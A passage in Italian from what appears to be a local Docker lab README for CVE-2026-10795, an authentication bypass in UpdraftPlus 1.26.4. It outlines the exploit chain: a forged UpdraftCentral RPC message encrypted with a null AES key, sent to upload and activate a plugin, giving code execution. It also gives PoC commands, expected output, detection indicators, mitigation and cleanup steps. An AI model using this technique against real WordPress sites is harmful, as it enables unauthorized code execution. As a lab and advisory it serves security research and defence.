    | `--timeout` | No       | Timeout HTTP in secondi. Predefinito: `15`                  |
    
    Host di destinazione accettati:```text
    127.0.0.1
    localhost
    ::1
    ```
    Per impostazione predefinita, il PoC rifiuta i target non locali.
    
    ## Come funziona il PoC
    
    Il PoC viene eseguito dalla macchina host e invia richieste HTTP ai servizi Docker esposti.
    
    L'azione predefinita del PoC è la prova dell'ID.
    
    Il flusso ad alto livello è:```text
    1. Receive explicit --url target from the tester
    2. Refuse non-local targets
    3. Build a marker WordPress plugin ZIP in memory
    4. Create a forged UpdraftCentral RPC message
    5. Send command plugin.upload_plugin through format=1
    6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
    7. Install and activate the marker plugin
    8. Request /wp-json/cve-lab/v1/id
    9. Print the hard-coded /usr/bin/id output
    ```
    Il marker plugin non è memorizzato nel repository come file plugin standalone. Viene generato in memoria dal PoC.
    
    Il comando RPC falsificato è:```text
    plugin.upload_plugin
    ```
    I dati RPC contengono:```text
    filename = cve-2026-10795-id-marker.zip
    data     = base64(plugin_zip)
    activate = true
    ```
    Il PoC crittografa il messaggio JSON RPC interno utilizzando:```text
    AES-CBC
    key = 16 null bytes
    iv  = 16 null bytes
    ```
    Include anche un blocco di chiave simmetrica crittografata RSA intenzionalmente non valido.
    
    Sulla versione vulnerabile, il fallimento di decrittazione RSA non viene respinto. Il messaggio prosegue nel percorso di decrittazione prevedibile con chiave nulla e il comando falsificato viene inviato.
    
    Sulla versione corretta, la chiave simmetrica non valida viene respinta e il comando falsificato non viene inviato.
    
    ## Perché `--ping` esiste
    
    L'opzione `--ping` è uno strumento di debug.
    
    Convalida solo il bypass crittografico e il limite di invio RPC. Non carica un plugin e non esegue `/usr/bin/id`.
    
    Usa `--ping` quando la prova ID predefinita non funziona e il fallimento deve essere isolato.
    
    Se `--ping` fallisce, il problema è probabilmente prima dell'esecuzione del comando:```text
    wrong key state
    wrong key_name
    message format issue
    encryption mismatch
    listener not active
    patched behavior
    ```
    Se `--ping` ha successo ma la prova dell'ID fallisce, il problema è probabilmente dopo l'invio:```text
    plugin.upload_plugin data issue
    ZIP plugin format issue
    filesystem permission issue
    plugin activation issue
    REST endpoint registration issue
    ```
    Comportamento previsto del ping:```text
    1.26.4 vulnerable target → PING DISPATCHED
    1.26.5 patched target    → PING NOT DISPATCHED
    ```
    ## Risultati attesi
    
    ### Obiettivo vulnerabile
    
    Comando:```bash
    python3 poc/poc.py --url http://127.0.0.1:8081
    ```
    Segnale vulnerabile previsto:```text
    CVE-2026-10795 local lab-only ID validation
    Scope         : localhost / Docker lab only
    Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
    Safety        : no generic web shell, no cmd parameter, no external targets
    Key name      : 0.central.updraftplus.com
    Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
    ========================================================================================
    Target        : http://127.0.0.1:8081/
    Command       : plugin.upload_plugin
    Decision      : RPC DISPATCHED
    HTTP status   : 200
    Body bytes    : non-zero
    RPC JSON seen : True
    Resp. format  : 2
    ----------------------------------------------------------------------------------------
    ID endpoint   : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
    Marker active : True
    HTTP status   : 200
    id output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ========================================================================================
    Interpretation:
      UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
      UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
      id output should be a hard-coded local proof such as uid=33(www-data).
    ```
    ### Target patchato
    
    Comando:```bash
    python3 poc/poc.py --url http://127.0.0.1:8082
    ```
    Segnale patchato atteso:```text
    CVE-2026-10795 local lab-only ID validation
    Scope         : localhost / Docker lab only
    Technique     : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
    Safety        : no generic web shell, no cmd parameter, no external targets
    Key name      : 0.central.updraftplus.com
    Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
    ========================================================================================
    Target        : http://127.0.0.1:8082/
    Command       : plugin.upload_plugin
    Decision      : RPC NOT DISPATCHED
    HTTP status   : 200
    Body bytes    : 0
    RPC JSON seen : False
    Body prefix   : ''
    ----------------------------------------------------------------------------------------
    ID endpoint   : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
    Marker active : False
    HTTP status   : 404
    Body prefix   : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
    ========================================================================================
    Interpretation:
      UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
      UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
      id output should be a hard-coded local proof such as uid=33(www-data).
    ```
    ## Comandi di verifica manuale
    
    Controlla lo stato del servizio:```bash
    docker compose ps
    ```
    Ispeziona i metadati del servizio vulnerabile:```bash
    curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
    ```
    Ispeziona i metadati del servizio patchato:```bash
    curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
    ```
    Controlla lo stato del plugin a runtime:```bash
    curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
    curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
    ```
    Esegui la convalida ping-only:```bash
    python3 poc/poc.py --ping --url http://127.0.0.1:8081
    python3 poc/poc.py --ping --url http://127.0.0.1:8082
    ```
    Prova dell'ID di esecuzione:```bash
    python3 poc/poc.py --url http://127.0.0.1:8081
    python3 poc/poc.py --url http://127.0.0.1:8082
    ```
    Controlla l'endpoint marker subito dopo aver eseguito il PoC:```bash
    curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
    curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
    ```
    Previsto:```text
    8081 → marker endpoint exists and returns id output
    8082 → marker endpoint returns 404 rest_no_route
    ```
    Controlla i plugin installati all'interno del container vulnerabile:```bash
    docker compose exec -T vuln sh -lc \
      'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
    ```
    Verifica i plugin installati all'interno del contenitore patchato:```bash
    docker compose exec -T patched sh -lc \
      'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
    ```
    Il servizio vulnerabile dovrebbe contenere il plugin marker dopo l'esecuzione del PoC. Il servizio corretto (patched) non dovrebbe.
    
    ## Impatto
    
    Questo laboratorio dimostra che un attaccante non autenticato può falsificare un messaggio RPC di UpdraftCentral che raggiunge la distribuzione dei comandi privilegiati in UpdraftPlus 1.26.4 quando esiste uno stato di chiave UpdraftCentral appropriato.
    
    L'impatto dimostrato è di tipo RCE perché il comando RPC falsificato abusa della funzionalità legittima di gestione dei plugin:```text
    plugin.upload_plugin
    → install plugin ZIP
    → activate plugin
    → execute plugin code in the web server context
    ```
    La prova locale mostra l'esecuzione come utente del server web:```text
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ```
    La categoria di vulnerabilità rimane bypass dell'autenticazione. Il risultato dell'esecuzione di codice è un impatto concatenato attraverso l'installazione privilegiata di plugin WordPress.
    
    ## Rilevamento e Monitoraggio
    
    Gli indicatori potenziali includono richieste POST non autenticate alla pagina frontale di WordPress contenenti campi UpdraftCentral RPC:```text
    format
    key_name
    udrpc_message
    signature
    ```
    Caratteristiche sospette:```text
    format=1
    key_name ending with .central.updraftplus.com
    large udrpc_message value
    unexpected unauthenticated POST requests to /
    repeated RPC attempts with empty or unusual response bodies
    new unexpected plugin directories under wp-content/plugins
    new plugin activation events
    REST routes appearing unexpectedly after a suspicious request
    ```
    Indicatori di laboratorio locali:```text
    POST / with format=1 and udrpc_message
    new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
    new REST route: /wp-json/cve-lab/v1/id
    id output: uid=33(www-data)
    ```
    Idee per il monitoraggio in produzione:
    
    * Esaminare i log di accesso web per richieste POST contenenti `udrpc_message`.
    * Avvisare su richieste RPC con `format=1` provenienti da fonti non attendibili.
    * Esaminare i log di UpdraftPlus e UpdraftCentral se disponibili.
    * Monitorare eventi di installazione o attivazione imprevisti di plugin.
    * Monitorare le modifiche al filesystem in `wp-content/plugins`.
    * Esaminare gli utenti amministratori e le integrazioni di gestione remota.
    * Verificare se UpdraftPlus è più vecchio della versione corretta.
    * Rimuovere chiavi di controllo remoto UpdraftCentral obsolete o inutilizzate.
    
    ## Mitigazione e Note di Patch
    
    Aggiornare UpdraftPlus alla versione 1.26.5 o successiva.
    
    La versione patchata rifiuta chiavi simmetriche decriptate non valide prima della decriptazione simmetrica e dell'invio dei comandi.
    
    Passaggi di mitigazione raccomandati:
    
    * Aggiornare UpdraftPlus.
    * Verificare se il controllo remoto UpdraftCentral è abilitato o è stato configurato.
    * Rimuovere chiavi UpdraftCentral obsolete se il controllo remoto non è necessario.
    * Esaminare gli account amministratore di WordPress.
    * Esaminare i plugin installati per aggiunte inaspettate.
    * Esaminare i log di accesso per richieste `udrpc_message` sospette.
    * Ruotare le credenziali se si sospetta un compromesso.
    * Ripristinare da backup noti come buoni se viene confermata l'installazione non autorizzata di plugin.
    * Utilizzare una regola WAF solo come strato temporaneo, non come sostituto della patch.
    
    La correzione più importante è eseguire una versione patchata di UpdraftPlus che rifiuti chiavi simmetriche non valide prima della decriptazione e dell'invio.
    
    ## Pulizia
    
    Fermare i container e rimuovere le reti:```bash
    docker compose down --remove-orphans
    ```
    Rimuovi contenitori, reti e volumi:```bash
    docker compose down -v --remove-orphans
    ```
    Rimuovere l'ambiente virtuale Python:```bash
    rm -rf venv
    ```
    Rimuovere i file di prova locali se creati:```bash
    rm -rf evidence/
    ```
    ## Limiti di Sicurezza
    
    Questo laboratorio è destinato esclusivamente alla ricerca locale sulla sicurezza e a dimostrazioni controllate.
    
    Non eseguire il PoC su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
    
    Non utilizzare credenziali reali, segreti di produzione o target esterni in questo laboratorio.
    
    Il PoC è deliberatamente limitato a servizi Docker locali come:```text
    http://127.0.0.1:8081
    http://127.0.0.1:8082
    http://localhost:8081
    http://localhost:8082
    ```
    Il PoC rifiuta di default i target non locali.
    
    Il plugin marker non implementa un parametro generico di esecuzione comandi. Espone solo un endpoint di prova locale hard-coded che esegue `/usr/bin/id`.
    
    Questo laboratorio non include:```text
    generic web shell
    cmd parameter
    reverse shell
    credential extraction
    database dumping
    persistence
    external callback
    lateral movement
    production exploitation workflow
    ```
    L'obiettivo è dimostrare una condizione tecnica specifica in un ambiente controllato:```text
    unauthenticated forged RPC
    + vulnerable format=1 validation behavior
    + failed RSA decrypt not rejected
    + predictable symmetric decrypt path
    + privileged UpdraftCentral command dispatch
    + plugin upload and activation
    + patched version blocks before dispatch
    ```
    ## Riferimenti
    
    * NVD: CVE-2026-10795
      https://nvd.nist.gov/vuln/detail/CVE-2026-10795
    
    * Wordfence Vulnerability Database: UpdraftPlus
      https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
    
    * Patchstack Database: UpdraftPlus
      https://patchstack.com/database/
    
    * WordPress.org Plugin: UpdraftPlus
      https://wordpress.org/plugins/updraftplus/
    
    * WordPress.org Plugin SVN
      https://plugins.svn.wordpress.org/updraftplus/
    
    * WordPress.org Plugin SVN Tags
      https://plugins.svn.wordpress.org/updraftplus/tags/
    
    * TeamUpdraft: UpdraftCentral
      https://updraftplus.com/updraftcentral/
    
    * OWASP: Authentication Cheat Sheet
      https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
    
    * OWASP: Web Security Testing Guide
      https://owasp.org/www-project-web-security-testing-guide/